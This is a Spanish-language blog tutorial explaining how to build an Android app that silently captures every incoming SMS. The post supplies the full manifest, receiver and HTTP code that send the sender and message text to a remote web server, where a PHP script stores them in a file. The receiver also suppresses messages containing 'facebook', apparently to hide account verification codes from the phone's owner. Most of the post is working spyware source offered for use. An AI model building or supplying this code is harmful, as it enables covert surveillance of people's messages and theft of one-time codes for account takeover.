Like This

Monday, August 31, 2015

Interceptar mensajes SMS Android


Usando las herramientas con la que el SDK de android nos permite interactuar te explicaremos como hacer una simple aplicación que capture los SMS y podamos visualizarlos en una página web.






Para lograr esto , vamos a usar un Broadcast Receiver con el cual capturamos cada llegada de SMS y una simple peticion GET para poner la información en el servidor.


Lo primero que haremos será crear el proyecto en Android Studio y agregar lineas al AndroidManifest.xml


 
<uses-permission android:name="android.permission.INTERNET">   
 <uses-permission android:name="android.permission.RECEIVE_SMS">
 <uses-permission android:name="android.permission.READ_SMS">
 <uses-permission android:name="android.permission.SEND_SMS">
 <uses-permission android:name="android.permission.WRITE_SMS">
</uses-permission></uses-permission></uses-permission></uses-permission></uses-permission>

y dentro de las etiquetas <application> lo siguiente:

  
     <receiver android:enabled="true" android:exported="true" android:name=".resaiver.MyReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED">
            </action></intent-filter>
        </receiver>

Como es de entenderse por la declaración del Receiver dentro del manifest direccionamos lo que se capture hacia la clase MyReceiver.
Dentro del INTENT-FILTER , declaramos que se captura todo evento donde se reciba un mensaje SMS.

El atributo android:priority="1000" nos especifica que antes de enviar el evento al Sistema operativo sea procesado por nuestro Receiver; esto funciona , en nuestro caso, para mas adelante especificar que no notifique al usuario que el mensaje llegó.

Aquí va la clase del receiver.

package initics.learnning.aprendiendotrucos.resaiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class MyReceiver extends BroadcastReceiver {
    final SmsManager sms = SmsManager.getDefault();
    public MyReceiver() {
    }
    @Override
    public void onReceive(Context context, Intent intent) {
        final Bundle bundle = intent.getExtras();
        if(bundle!=null) {
            final Object[] pdusObj = (Object[]) bundle.get("pdus");
            for (int i = 0; i < pdusObj.length; i++) {
                SmsMessage MENSAJE = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                String REMITENTE = MENSAJE.getDisplayOriginatingAddress();
                String MENSAJEE = MENSAJE.getDisplayMessageBody();
                Log.i("RECEIVER", "numero:" + REMITENTE + " Mensaje:" + MENSAJEE);
                if(MENSAJEE.contains("facebook")){
                    abortBroadcast();
                }
                new peticion_get(REMITENTE+"--"+MENSAJEE).execute();
            }
        }
    }

}

La clase para enviar los datos por GET:
package initics.learnning.aprendiendotrucos.resaiver;

import android.os.AsyncTask;

import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;

import java.io.IOException;

/**
 * Created by MikeBrian on 8/24/2015.
 */
public class peticion_get extends AsyncTask {
    final String pagina="https://eldatagrama.blogspot.com/datos.php?info=";

    String URL;
    public peticion_get(String UURL){
        this.URL=UURL;
    }

    @Override
    protected String doInBackground(String... strings) {
    return PETICION(pagina+URL);
    }

    @Override
    protected void onPostExecute(String s) {
        super.onPostExecute(s);

    }

    private String PETICION(String URL){
        String RESPUESTA=null;
        try{
            URL=URL.replace(" ","+");
            DefaultHttpClient cliente= new DefaultHttpClient();
            HttpGet request=new HttpGet(URL);
            request.setHeader("Accept-Language","es-es");
            //request.addHeader("HEADER NAME","VALUE");
            HttpResponse resp=cliente.execute(request);
            RESPUESTA = EntityUtils.toString(resp.getEntity());

        }catch (ClientProtocolException e) {
            return null;
        }catch (IOException e) {
            return null;
        }catch (Exception e){
            return null;
        }
        return RESPUESTA;
    }
}


De esta manera Aseguramos que el SMS llegue y sea envíado a un servidor.
Hay que tener en cuenta modificar la variable pagina a donde va a llegar la información. Teniendo nuestro servidor APACHE+PHP con el siguiente script:
 
 <?php
if( ISSET($_GET['info'])){
 $myfile = fopen("informacion.txt", "a") or die("Unable to open file!");
 //$date = date('Y-m-d H:i:s');
 fwrite($myfile, date('Y-m-d H:i:s')."MENSAJE: ".$_GET["info"]."\n" );
 echo "si";
}else{
 echo "no";
}
?>  
Como pueden ver todos los mensajes que lleguen serán guardados en un archivo de texto.
Con estos simples códigos pueden prácticamente saber todos los mensajes que llegan a un celular y poderlos visualizar desde una página web.
Hay que tener en cuenta que en el momento de recibir el mensaje se debe tener internet, se podría hacer una DB en sqlite que agregue los mensajes si no hay internet y otro RECEIVER que cuando se conecte a wifi los envíe.
Todo queda a la imaginación. :D

 
Design by ThemeShift | Bloggerized by Lasantha - Free Blogger Templates